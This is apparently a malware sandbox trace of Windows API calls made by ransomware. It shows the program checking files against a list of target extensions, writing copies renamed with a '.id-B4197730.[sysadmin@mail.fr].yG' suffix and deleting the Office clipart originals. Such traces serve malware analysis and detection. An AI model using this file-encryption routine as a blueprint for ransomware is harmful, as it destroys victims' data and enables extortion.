	[0147.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.660] lstrlenW (lpString=".7z") returned 3
	[0147.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0147.660] lstrlenW (lpString=".dbf") returned 4
	[0147.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0147.660] lstrlenW (lpString=".1cd") returned 4
	[0147.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0147.660] lstrlenW (lpString=".jpg") returned 4
	[0147.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0147.660] lstrlenW (lpString=".doc") returned 4
	[0147.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.906] lstrlenW (lpString=".docx") returned 5
	[0147.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.906] lstrlenW (lpString=".pdf") returned 4
	[0147.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.906] lstrlenW (lpString=".xls") returned 4
	[0147.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.906] lstrlenW (lpString=".xlsx") returned 5
	[0147.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.906] lstrlenW (lpString=".ppt") returned 4
	[0147.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0147.906] lstrlenW (lpString=".zip") returned 4
	[0147.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.906] lstrlenW (lpString=".rar") returned 4
	[0147.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.906] lstrlenW (lpString=".bz2") returned 4
	[0147.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.906] lstrlenW (lpString=".7z") returned 3
	[0147.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0147.906] lstrlenW (lpString=".dbf") returned 4
	[0147.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0147.906] lstrlenW (lpString=".1cd") returned 4
	[0147.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0147.907] lstrlenW (lpString=".jpg") returned 4
	[0147.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.907] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.907] lstrlenW (lpString="FD01074_.WMF") returned 12
	[0147.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0147.908] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=4634) returned 1
	[0147.908] CloseHandle (hObject=0x514) returned 1
	[0147.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220
	[0147.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0147.909] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.909] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0147.909] GetLastError () returned 0x0
	[0147.909] ReadFile (in: hFile=0x514, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x121a, lpOverlapped=0x0) returned 1
	[0147.978] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1220, lpOverlapped=0x0) returned 1
	[0147.979] ReadFile (in: hFile=0x514, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.979] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0147.979] SetEndOfFile (hFile=0x52c) returned 1
	[0147.980] CloseHandle (hObject=0x52c) returned 1
	[0147.983] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.983] SetEndOfFile (hFile=0x514) returned 1
	[0147.988] CloseHandle (hObject=0x514) returned 1
	[0147.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1
	[0147.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0147.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0147.993] lstrlenW (lpString=".doc") returned 4
	[0147.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.993] lstrlenW (lpString=".docx") returned 5
	[0147.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.993] lstrlenW (lpString=".pdf") returned 4
	[0147.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.993] lstrlenW (lpString=".xls") returned 4
	[0147.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.993] lstrlenW (lpString=".xlsx") returned 5
	[0147.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.993] lstrlenW (lpString=".ppt") returned 4
	[0147.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0147.993] lstrlenW (lpString=".zip") returned 4
	[0147.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.993] lstrlenW (lpString=".rar") returned 4
	[0147.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.993] lstrlenW (lpString=".bz2") returned 4
	[0147.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.993] lstrlenW (lpString=".7z") returned 3
	[0147.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0147.993] lstrlenW (lpString=".dbf") returned 4
	[0147.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0147.993] lstrlenW (lpString=".1cd") returned 4
	[0147.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0147.994] lstrlenW (lpString=".jpg") returned 4
	[0147.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0147.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0147.994] lstrlenW (lpString=".doc") returned 4
	[0147.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.994] lstrlenW (lpString=".docx") returned 5
	[0147.994] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.994] lstrlenW (lpString=".pdf") returned 4
	[0147.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.994] lstrlenW (lpString=".xls") returned 4
	[0147.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.994] lstrlenW (lpString=".xlsx") returned 5
	[0147.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.994] lstrlenW (lpString=".ppt") returned 4
	[0147.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0147.994] lstrlenW (lpString=".zip") returned 4
	[0147.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.994] lstrlenW (lpString=".rar") returned 4
	[0147.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.994] lstrlenW (lpString=".bz2") returned 4
	[0147.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.994] lstrlenW (lpString=".7z") returned 3
	[0147.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0147.994] lstrlenW (lpString=".dbf") returned 4
	[0147.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0147.995] lstrlenW (lpString=".1cd") returned 4
	[0147.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0147.995] lstrlenW (lpString=".jpg") returned 4
	[0147.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.995] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.995] lstrlenW (lpString="FD01176_.WMF") returned 12
	[0147.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0147.996] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=4984) returned 1
	[0147.996] CloseHandle (hObject=0x514) returned 1
	[0147.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220
	[0147.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0147.997] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.997] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0147.998] GetLastError () returned 0x0
	[0147.998] ReadFile (in: hFile=0x514, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1378, lpOverlapped=0x0) returned 1
	[0148.014] WriteFile (in: hFile=0x530, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1380, lpOverlapped=0x0) returned 1
	[0148.015] ReadFile (in: hFile=0x514, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.015] WriteFile (in: hFile=0x530, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0148.016] SetEndOfFile (hFile=0x530) returned 1
	[0148.016] CloseHandle (hObject=0x530) returned 1
	[0148.016] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.016] SetEndOfFile (hFile=0x514) returned 1
	[0148.019] CloseHandle (hObject=0x514) returned 1
	[0148.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0148.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1
	[0148.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0148.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0148.020] lstrlenW (lpString=".doc") returned 4
	[0148.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.020] lstrlenW (lpString=".docx") returned 5
	[0148.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.020] lstrlenW (lpString=".pdf") returned 4
	[0148.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.020] lstrlenW (lpString=".xls") returned 4
	[0148.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.020] lstrlenW (lpString=".xlsx") returned 5
	[0148.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.020] lstrlenW (lpString=".ppt") returned 4
	[0148.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0148.020] lstrlenW (lpString=".zip") returned 4
	[0148.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.021] lstrlenW (lpString=".rar") returned 4
	[0148.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.021] lstrlenW (lpString=".bz2") returned 4
	[0148.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.021] lstrlenW (lpString=".7z") returned 3
	[0148.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0148.021] lstrlenW (lpString=".dbf") returned 4
	[0148.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0148.021] lstrlenW (lpString=".1cd") returned 4
	[0148.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0148.021] lstrlenW (lpString=".jpg") returned 4
	[0148.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0148.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0148.021] lstrlenW (lpString=".doc") returned 4
	[0148.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.021] lstrlenW (lpString=".docx") returned 5
	[0148.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.021] lstrlenW (lpString=".pdf") returned 4
	[0148.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.021] lstrlenW (lpString=".xls") returned 4
	[0148.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.022] lstrlenW (lpString=".xlsx") returned 5
	[0148.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.022] lstrlenW (lpString=".ppt") returned 4
	[0148.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0148.022] lstrlenW (lpString=".zip") returned 4
	[0148.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.022] lstrlenW (lpString=".rar") returned 4
	[0148.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.022] lstrlenW (lpString=".bz2") returned 4
	[0148.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.022] lstrlenW (lpString=".7z") returned 3
	[0148.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0148.022] lstrlenW (lpString=".dbf") returned 4
	[0148.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0148.022] lstrlenW (lpString=".1cd") returned 4
	[0148.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0148.022] lstrlenW (lpString=".jpg") returned 4
	[0148.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.022] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0148.023] lstrlenW (lpString="FD01193_.WMF") returned 12
	[0148.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0148.024] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=1160) returned 1
	[0148.024] CloseHandle (hObject=0x514) returned 1
	[0148.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220
	[0148.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0148.025] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.025] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0148.026] GetLastError () returned 0x0
	[0148.026] ReadFile (in: hFile=0x514, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x488, lpOverlapped=0x0) returned 1
	[0148.031] WriteFile (in: hFile=0x530, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x490, lpOverlapped=0x0) returned 1
	[0148.033] ReadFile (in: hFile=0x514, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.033] WriteFile (in: hFile=0x530, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0148.033] SetEndOfFile (hFile=0x530) returned 1
	[0148.033] CloseHandle (hObject=0x530) returned 1
	[0148.033] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.034] SetEndOfFile (hFile=0x514) returned 1
	[0148.036] CloseHandle (hObject=0x514) returned 1
	[0148.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0148.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1
	[0148.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0148.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0148.037] lstrlenW (lpString=".doc") returned 4
	[0148.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.037] lstrlenW (lpString=".docx") returned 5
	[0148.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.037] lstrlenW (lpString=".pdf") returned 4
	[0148.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.037] lstrlenW (lpString=".xls") returned 4
	[0148.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.037] lstrlenW (lpString=".xlsx") returned 5
	[0148.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.037] lstrlenW (lpString=".ppt") returned 4
	[0148.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0148.038] lstrlenW (lpString=".zip") returned 4
	[0148.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.038] lstrlenW (lpString=".rar") returned 4
	[0148.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.038] lstrlenW (lpString=".bz2") returned 4
